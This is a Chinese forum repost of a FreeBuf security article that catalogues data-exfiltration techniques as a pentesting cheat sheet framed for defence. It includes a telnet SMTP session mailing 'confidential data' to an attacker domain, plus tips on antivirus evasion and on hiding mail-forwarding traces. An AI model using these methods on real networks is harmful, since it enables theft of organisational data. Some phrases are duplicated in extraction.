搜索

[13031] 2018-08-06_防范数据窃取从了解其手法做起

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2018-08-06_防范数据窃取从了解其手法做起 防 范 数 据 窃 取 从 了 解 其 手 法 做 起 s e c i s t   F r e e B u f   2 0 1 8 - 0 8 - 0 6 数 据 窃 取 是 针 对 组 织 攻 击 链 中 的 最 后 一 个 阶 段 。 攻 击 者 窃 取 数 据 的 技 术 可 谓 花 样 百 出 ， 网 上 也 有 大 量 关 于 数 据 数 据 窃 取 是 针 对 组 织 攻 击 链 中 的 最 后 一 个 阶 段 。 攻 击 者 窃 取 数 据 的 技 术 可 谓 花 样 百 出 ， 网 上 也 有 大 量 关 于 数 据 窃 取 方 面 的 技 术 文 档 以 及 工 具 。 本 文 的 目 的 就 是 尽 可 能 的 将 这 些 技 术 整 合 起 来 ， 以 作 为 大 家 日 后 渗 透 测 试 时 的 窃 取 方 面 的 技 术 文 档 以 及 工 具 。 本 文 的 目 的 就 是 尽 可 能 的 将 这 些 技 术 整 合 起 来 ， 以 作 为 大 家 日 后 渗 透 测 试 时 的 一 个 一 个 C h e a t S h e e t 使 用 。 使 用 。 工 欲 善 其 事 必 先 利 其 器 ， 防 范 数 据 窃 取 必 须 先 熟 悉 其 使 用 的 手 段 。 文 中 所 提 及 的 大 多 数 技 术 涉 及 直 接 的 内 部 到 外 部 数 据 窃 取 。 需 要 说 明 的 是 这 并 不 是 一 个 完 整 版 本 ， 如 果 你 知 道 的 更 多 ， 那 么 请 在 评 论 处 留 言 并 告 知 我 们 ！ W e b 许 多 企 业 都 没 有 在 合 适 的 地 方 设 置 任 何 类 型 的 w e b 代 理 这 对 于 攻 击 者 而 言 将 会 是 个 很 好 的 机 会 。 A n o n   p a s t e 站 点 例 如 p a s t e b i n 甚 至 是 g i t h u b ， 都 为 我 们 提 供 了 一 个 数 据 窃 取 的 简 易 通 道 。 许 多 技 术 组 织 通 常 都 会 允 许 G i t h u b 的 使 用 。 如 果 有 代 理 和 过 滤 ， 你 可 能 就 需 要 花 点 心 思 了 ， 但 许 多 常 见 网 站 都 会 允 许 使 用 D r o p b o x ， G o o g l e   D r i v e 和 B o x 等 ， 特 别 是 那 些 有 云 外 包 服 务 的 企 业 。 许 多 站 点 出 于 某 些 原 因 并 未 启 用 T L S ， 这 很 容 易 导 致 中 间 人 攻 击 。 因 此 ， 如 果 你 的 站 点 没 有 启 用 h t t p s ， 那 么 可 以 使 用 用 L e t ’ s   E n c r y p t 为 你 的 站 点 免 费 加 密 。 即 使 启 用 了 类 似 W e b s e n s e 这 样 的 功 能 ， 很 多 类 别 也 不 能 用 于 完 整 的 T L S 检 查 — — 比 如 财 务 和 医 疗 — — 雇 员 隐 私 。 许 多 分 类 系 统 允 许 你 根 据 自 己 的 实 际 情 况 设 置 分 类 ， 因 此 攻 击 者 只 要 做 好 预 先 计 划 ， 例 如 创 建 一 个 医 疗 站 点 就 可 能 轻 松 绕 过 过 滤 机 制 。 F l i c k r 和 Y o u T u b e 是 否 可 以 访 问 ？   如 果 可 以 的 话 ， 则 可 以 使 用 这 些 服 务 暂 存 相 对 较 大 的 文 件 ， 包 括 使 用 隐 写 术 。
也 许 你 的 企 业 拥 有 自 己 的 可 从 I n t e r n e t 访 问 的 W e b 服 务 器 。 那 么 你 可 以 想 办 法 拿 下 其 中 的 一 台 ， 来 作 为 你 进 一 步 渗 透 的 中 转 站 。 E m a i l 你 是 否 可 以 访 问 一 些 主 要 的 网 络 邮 件 提 供 商   -   例 如 G m a i l ， O u t l o o k . c o m 等 ？ 如 果 你 的 目 标 企 业 有 外 包 到 O f f i c e   3 6 5 或 G S u i t e （ 检 查 其 M X 或 邮 件 头 ） ， 则 更 有 可 能 实 现 此 目 的 。 出 站 S M T P / P O P 3 / I M A P 是 否 可 用 。 检 查 加 密 以 及 未 加 密 的 端 口   -   2 5 / 4 6 5 / 5 8 7 , 1 1 0 / 9 9 9 , 1 4 3 / 9 9 3 。 是 否 存 在 错 误 配 置 的 邮 件 中 继 ？ 是 否 可 以 通 过 欺 骗 内 部 地 址 来 中 继 到 外 部 地 址 ？ （ 这 也 可 在 内 网 钓 鱼 时 用 来 绕 过 m e s s a g e   h y g i e n e 过 滤 器   ） 如 果 邮 箱 遭 到 入 侵 （ 后 钓 鱼 利 用 ） ， 攻 击 者 可 以 将 O u t l o o k 中 的 自 动 转 发 规 则 设 置 为 他 们 选 择 的 外 部 地 址 。 通 常 这 对 于 高 价 值 目 标 非 常 有 用 。 之 后 ， 我 们 可 以 使 用 相 同 的 规 则 来 删 除 已 发 送 的 项 目 ， 以 覆 盖 留 下 的 痕 迹 。 M a l w a r e M e t e r p r e t e r 是 一 种 先 进 的 ， 可 动 态 扩 展 的 有 效 载 荷 ， 它 使 用 内 存 中 的 D L L 注 入 阶 段 ， 并 在 运 行 时 通 过 网 络 扩 展 。 它 通 过 s t a g e r 套 接 字 进 行 通 信 并 提 供 全 面 的 客 户 端 R u b y   A P I 。 它 包 含 命 令 历 史 记 录 ， 制 表 符 完 成 ， 频 道 等 。 h t t p s : / / w w w . o f f e n s i v e - s e c u r i t y . c o m / m e t a s p l o i t - u n l e a s h e d / m e t e r p r e t e r - b a s i c s / 要 尽 可 能 的 避 免 杀 软 和 网 络 入 侵 检 测 ， 你 可 以 使 用 M e t a s p l o i t 中 提 供 的 编 码 器 （ 例 如 / s h i k a t a _ g a _ n a i ） 。 还 有 就 是 尽 量 不 要 将 正 在 使 用 的 p a y l o a d ， 上 传 到 像 V i r u s T o t a l 这 类 的 在 线 病 毒 扫 描 网 站 。 因 为 一 旦 上 传 你 的 p a y l o a d 就 会 被 分 享 给 所 有 的 A V 公 司 ， 并 会 在 短 时 间 内 被 杀 毒 软 件 查 杀 。 h t t p s : / / w w w . o f f e n s i v e - s e c u r i t y . c o m / m e t a s p l o i t - u n l e a s h e d / m s f e n c o d e / 协 议 滥 用 协 议 滥 用 F T P / S S H / S C P / S F T P 可 能 被 允 许 出 站 ， 因 为 它 们 经 常 被 用 作 数 据 交 换 协 议 。 客 户 端 工 具 也 可 以 在 系 统 上 随 时 使 用 ， 而 无 需 下 载 其 他 二 进 制 文 件 。 D N S   T u n n e l i n g ， 是 隐 蔽 信 道 的 一 种 ， 通 过 将 其 他 协 议 封 装 在 D N S 协 议 中 传 输 建 立 通 信 。 因 为 在 我 们 的 网 络 世 界 中 D N S 是 一 个 必 不 可 少 的 服 务 ， 所 以 大 部 分 防 火 墙 和 入 侵 检 测 设 备 很 少 会 过 滤 D N S 流 量 。 这 里 推 荐 大 家 可 以 使 用 d n s c a t 2 。 一 些 I D S / I D P 现 在 能 够 发 现 D N S 隧 道 ， 但 经 常 错 过 通 过 D N S   T X T 记 录 发 送 的 数 据 。 我 们 制 作 了 一 个 工 具 你 可 以 通 过 它 来 提 供 文 件 ： h t t p s : / / g i t h u b . c o m / p e n t e s t p a r t n e r s / U n i n v i t e d - G u e s t ， 还 有 一 个 早 期 的 版 本 ： h t t p s : / / g i t h u b . c o m / p e n t e s t p a r t n e r s / D N S T X T - e n c o d e r 。 你 可 以 尝 试 原 始 T C P 套 接 字 。 可 能 I C M P 被 允 许 出 站 （ 它 是 一 种 非 常 实 用 的 诊 断 工 具 ， 在 I P v 6 中 很 重 要 ） -   但 它 很 慢 。 h t t p s : / / g i t h u b . c o m / s e n s e p o s t / D E T 我 们 可 以 使 用 s e c r e t _ s e n d e r 操 纵 I P 数 据 包 ， 通 过 其 中 一 个 协 议 （ T C M P   E c h o   R e q u e s t ， T C P   S Y N 或 U D P ） 发 送 从 命 令 行 接 受 的 消 息 ， 将 数 据 泄 露 到 服 务 器 上 。 因 为 它 看 起 来 像 是 服 务 器 的 正 常 数 据 包 ， 因 此 它 不 会 引 起 任 何 的 怀 疑 。 O l d - s c h o o l   p o r t   k n o c k i n g （ 端 口 敲 门 ） 也 是 一 种 选 择 ： h t t p s : / / w w w . s a n s . o r g / r e a d i n g - r o o m / w h i t e p a p e r s / c o v e r t / p o r t k n o c k o u t - d a t a - e x f i l t r a t i o n - p o r t - k n o c k i n g - u d p - 3 7 3 0 7 # t e l n e t   i n t e r n a l . s m t p . l o c a l   2 5 H E L O   a t t a c k e r M A I L   F R O M : < a t t a c k e r @ d o m a i n . c o m > R C P T   T O : < a t t a c k e r @ a t t a c k e r d o m a i n . c o m > D A T A H e r e   i s   l o t s   o f   c o n f i d e n t i a l   d a t a . Q U I T
像 b i t t o r r e n t 这 样 的 P 2 P 协 议 是 否 可 用 ？ 如 果 H T T P S 检 查 没 有 对 外 部 和 内 部 名 称 做 匹 配 性 检 查 ， 那 么 可 以 尝 试 通 过 T o r 和 d o m a i n   f r o n t i n g （ 域 前 置 ） 来 绕 过 过 滤 器 。 h t t p s : / / b l o g . d i d i e r s t e v e n s . c o m / 2 0 1 8 / 0 1 / 2 0 / q u i c k p o s t - d a t a - e x f i l t r a t i o n - w i t h - t o r - b r o w s e r - a n d - d o m a i n - f r o n t i n g / 许 多 即 时 消 息 协 议 ， 如 S k y p e ， F a c e b o o k   M e s s e n g e r 和 I R C 也 可 以 被 利 用 。 就 拿 我 当 前 所 在 的 企 业 来 说 ， 我 们 使 用 的 是 S k y p e   f o r   B u s i n e s s 并 且 还 启 用 了 f e d e r a t i o n 。 h t t p s : / / w w w . s a n s . o r g / r e a d i n g - r o o m / w h i t e p a p e r s / c o v e r t / s k y p e - d a t a - e x f i l t r a t i o n - 3 4 5 6 0 N T P 和 B G P 协 议 通 常 也 被 允 许 ， 可 以 滥 用 它 们 来 泄 露 数 据 。 h t t p s : / / w w w . d a r k n e t . o r g . u k / 2 0 1 6 / 1 1 / p y e x f i l - p y t h o n - d a t a - e x f i l t r a t i o n - t o o l s / 远 程 桌 面 通 常 可 用 于 映 射 磁 盘 和 剪 贴 板 ， 即 便 被 限 制 ， 我 们 也 可 以 使 用 P T P   R a t 通 过 显 示 器 像 素 值 来 泄 露 数 据 。 X 5 0 9 证 书 可 以 被 嵌 入 到 二 进 制 数 据 中 ， 因 此 可 用 于 传 输 数 据 。 h t t p s : / / g i t h u b . c o m / f i d e l i s c y b e r / x 5 0 9 I n t e r n a l   S t a g i n g W M I 调 用 可 用 于 启 动 传 输 ， 设 置 A D S 或 采 用 卷 影 拷 贝 来 隐 藏 s t a g i n g 系 统 上 的 数 据 。 h t t p s : / / g i t h u b . c o m / s e c a b s t r a c t i o n / W m i S p l o i t W i n d o w s   B I T S 可 用 于 传 输 调 度 或 涓 流 传 输 信 息 ， 以 避 免 触 发 “ t o p   t a l k e r s ” 触 发 器 。 文 件 类 型 文 件 类 型 对 于 一 些 安 装 了 D L P （ 数 据 泄 露 防 护 系 统 ） 的 企 业 ， 我 们 可 以 尝 试 将 数 据 封 装 在 以 下 文 件 类 型 来 绕 过 D L P ： Z i p 加 密   ( A E S )   Z i p 深 度 嵌 套   Z i p （ 许 多 系 统 会 在 1 0 - 1 0 0 层 之 后 停 止 扫 描 ， 以 避 免 Z i p 炸 弹 ） 7 z i p R A R C A B T a r   ( + / -   g z i p ) W I M   i m a g e 物 理 物 理 如 果 攻 击 者 或 恶 意 的 内 部 工 作 人 员 具 有 物 理 访 问 权 限 ， 那 么 我 们 又 该 怎 么 做 ？ 检 查 笔 记 本 U S B 插 口 是 否 已 锁 定 ， M P 3 播 放 器 和 智 能 手 机 。 是 否 已 设 置 仅 允 许 授 权 U S B 连 接 选 项 。 可 以 将 数 据 保 存 在 C D 和 D V D 中 ， 相 较 于 U S B 它 们 更 难 以 泄 露 数 据 。 笔 记 本 上 的 资 产 贴 纸 ， 是 否 有 任 何 泄 露 信 息 ？ 便 携 式 设 备 是 否 具 有 完 全 的 磁 盘 加 密 ？ 垃 圾 箱 或 是 在 e B a y 上 是 否 有 处 理 不 当 的 机 器 ？ 许 多 企 业 都 拥 有 自 己 的 打 印 机 ， 打 印 机 的 功 能 也 非 常 的 齐 全 ， 例 如 检 索 之 前 的 打 印 任 务 ， 甚 至 可 以 通 过 传 真
线 传 输 数 据 。 h t t p : / / s e c l i s t s . o r g / b u g t r a q / 2 0 1 6 / S e p / 5 4 公 司 的 W i - F i 是 否 安 全 ？ 是 否 使 用 了 不 安 全 W P A - P S K 加 密 。 访 客 W i - F i 网 络 是 否 与 企 业 主 要 网 络 充 分 隔 离 ？ 企 业 系 统 是 否 被 允 许 连 接 到 访 客 W i - F i ？ 攻 击 者 是 否 可 以 利 用 弱 边 缘 端 口 安 全 性 在 网 络 上 植 入 设 备 ， 例 如 具 有 自 己 的 蜂 窝 带 外 命 令 连 接 的 R a s p b e r r y P i ？ 网 络 摄 像 头 手 机 硬 拷 贝 隔 离 网 络 隔 离 网 络 在 网 络 隔 离 的 情 况 下 ， 可 以 针 对 蓝 牙 设 备 发 起 攻 击 ， 例 如 控 制 设 备 或 在 设 备 范 围 内 传 播 恶 意 软 件 等 。 h t t p s : / / b l o g . m a l w a r e b y t e s . c o m / c y b e r c r i m e / 2 0 1 7 / 0 9 / b l u e b o r n e - b l u e t o o t h s - a i r b o r n e - i n f l u e n z a / P C 扬 声 器 ： 主 要 利 用 特 定 的 音 频 芯 片 功 能 ， 将 输 出 音 频 插 孔 转 换 成 输 入 插 孔 ， 从 而 将 连 接 的 扬 声 器 有 效 地 转 换 为 （ 非 传 统 ） 麦 克 风 。 感 染 a i r - g a p p e d 计 算 机 的 恶 意 软 件 可 以 将 本 地 存 储 的 文 件 转 换 成 音 频 信 号 ， 并 通 过 连 接 的 扬 声 器 、 耳 机 或 耳 塞 将 它 们 传 送 到 附 近 的 另 一 台 计 算 机 设 备 。 具 体 可 参 考 ： h t t p s : / / t h e h a c k e r n e w s . c o m / 2 0 1 8 / 0 3 / a i r - g a p - c o m p u t e r - h a c k i n g . h t m l L E D 灯 ： 硬 盘 上 的 L E D 指 示 灯 也 是 个 很 好 的 突 破 口 ， 它 每 秒 最 多 能 闪 烁 6 0 0 0 次 。 因 此 ， 黑 客 可 以 借 助 这 些 闪 烁 远 程 获 取 数 据 。 h t t p s : / / w w w . w i r e d . c o m / 2 0 1 7 / 0 2 / m a l w a r e - s e n d s - s t o l e n - d a t a - d r o n e - j u s t - p c s - b l i n k i n g - l e d / 磁 ： O D I N I 和 M A G N E T O 攻 击 可 以 利 用 计 算 机 处 理 器 产 生 的 磁 信 号 来 窃 取 数 据 。 磁 信 号 可 以 通 过 读 写 硬 盘 驱 动 来 产 生 。 由 于 该 攻 击 为 低 频 磁 场 ， 因 此 可 以 绕 过 法 拉 第 屏 蔽 。 电 力 线 ： 通 过 电 力 线 从 隔 离 计 算 机 中 提 取 数 据 。 “ F a n s m i t t e r ” -   占 用 计 算 机 的 风 扇 并 修 改 其 转 速 以 控 制 产 生 的 声 音 。 h t t p s : / / w w w . t e c h n o l o g y r e v i e w . c o m / s / 6 0 1 8 1 6 / h o w - f a n s m i t t e r - m a l w a r e - s t e a l s - d a t a - f r o m - a i r - g a p p e d - c o m p u t e r s / * 参 考 来 源 ： 参 考 来 源 ： p e n t e s t p a r t n e r s ， ， F B 小 编 小 编   s e c i s t   编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理